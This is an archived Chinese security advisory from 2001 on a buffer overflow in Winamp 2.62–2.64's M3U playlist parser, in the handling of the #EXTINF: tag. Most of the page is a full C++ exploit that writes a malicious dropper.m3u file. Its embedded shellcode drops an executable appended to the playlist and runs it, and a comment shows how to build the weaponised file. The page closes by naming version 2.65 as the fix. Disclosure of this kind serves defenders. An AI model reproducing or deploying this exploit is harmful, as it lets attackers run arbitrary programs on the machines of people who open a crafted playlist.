xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Winamp的M3U playlist解析存在缓冲溢出


发布时间:2001-04-06
更新时间:2001-04-06
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Winamp version 2.62
Winamp version 2.64
详细描述
WINAMP是比较流行的MP3播放器,其中Winmap的M3U playlist解析器存在缓冲溢出,问题发生在当M3U扩展"#EXTINF:"被处理的时候,关键字后面的大小参数没有被检查。溢出可以导致以执行用户的身份运行任意代码。

测试代码
/*******************************************************************************************
* wa263bof.cpp - Winamp 2.62/2.63/2.64 full disclosure exploit *
* *
* buffer overflow found and posted to bugtraq by Pauli Ojanpera (20 July 2000) *
* (http://cert.uni-stuttgart.de/archive/bugtraq/2000/07/msg00295.html) *
* *
* full disclosure exploit written by [ByteRage] *
* <byterage@yahoo.com> / byterage.cjb.net (http://elf.box.sk/byterage/) *
* *
* Sample Exploitation *
* ~~~~~~~~~~~~~~~~~~~ *
* create dropper.m3u and then append exe file to be executed like this : *
* copy /B dropper.m3u+c:\windows\cdplayer.exe hackme.m3u *
* *
* Have Phun ! *
* *
*******************************************************************************************/

#include <fstream.h>

fstream dropfile;

int main ()
{
  const char shellcode[0x301] = "\
\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46\x3A\x58\x58\x58\x58\x58\x58\x58\
\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\
\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\
\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\
\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\
\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\
\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\
\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\
\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\
\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\
\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\
\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x10\xA0\
\x11\x11\x58\x58\x58\x58\x2B\x83\x11\x11\x90\x90\x33\xC0\x50\x34\x80\x50\x6A\x03\x34\x80\x50\x6A\
\x03\x34\x80\xC1\xE0\x18\x50\x53\xFF\x15\x68\x90\x11\x11\x8B\xE8\x33\xC9\x51\x53\xB1\x03\xC1\xE1\
\x08\x51\x83\xC3\x04\x53\x50\xFF\x15\xC4\x90\x11\x11\x33\xC9\xB1\x7F\x80\xC1\x7F\x83\xC1\x6F\x03\
\xD9\xFF\xD3\x0D\x0A\x90\x90\x53\x8B\xFB\x81\xC3\xF3\x00\x00\x00\x81\xC7\x12\x01\x00\x00\x53\xFF\
\x15\x54\x90\x11\x11\x8B\xF0\x33\xC0\xD7\x43\x3C\x00\x75\xF8\x53\x56\xFF\x15\x58\x90\x11\x11\xAB\
\x33\xC0\xD7\x43\x3C\x00\x75\xF8\x33\xC0\xD7\x43\x3C\x01\x74\xD6\x3C\x02\x74\xE3\x68\x00\x40\x00\
\x00\x6A\x40\xFF\x57\xF8\x3D\x00\x00\x00\x00\x74\x00\x96\x33\xC0\x50\x34\x80\x50\x6A\x02\x33\xC0\
\x50\x50\x68\x00\x00\x00\xC0\x57\xFF\x15\x68\x90\x11\x11\x3D\xFF\xFF\xFF\xFF\x74\x00\x93\x6A\x00\
\x57\x68\x00\x40\x00\x00\x56\x55\xFF\x15\xC4\x90\x11\x11\x83\x3F\x00\x74\x0F\x6A\x00\x57\xFF\x37\
\x56\x53\xFF\x15\xD4\x90\x11\x11\xEB\xDC\x53\xFF\x15\x28\x90\x11\x11\xC7\x07\x5C\x45\x58\x50\x6A\
\x01\x57\xFF\x57\xFC\x6A\x00\xFF\x15\xC8\x90\x11\x11\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
\x90\x90\x90\x90\x90\x90\x90\x90\x4B\x45\x52\x4E\x45\x4C\x33\x32\x00\x47\x6C\x6F\x62\x61\x6C\x41\
\x6C\x6C\x6F\x63\x00\x02\x57\x69\x6E\x45\x78\x65\x63\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5C\
\x45\x58\x50\x4C\x4F\x49\x54\x2E\x45\x58\x45\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

  cout << "Winamp 2.62/2.63/2.64 full disclosure exploit by [ByteRage]\n";
  dropfile.open("dropper.m3u", ios::out | ios::trunc | ios::binary);
  if (!dropfile) { cout << "Ouchy, couldn't open dropper.m3u for output !\n"; return 1; }
  dropfile.write(shellcode, 0x300);
  cout << "dropper.m3u created!\n";
  return 0;

}

解决方案
使用2.65版本。

相关信息
此信息有ByteRage(byterage at YAHOO.COM)分布.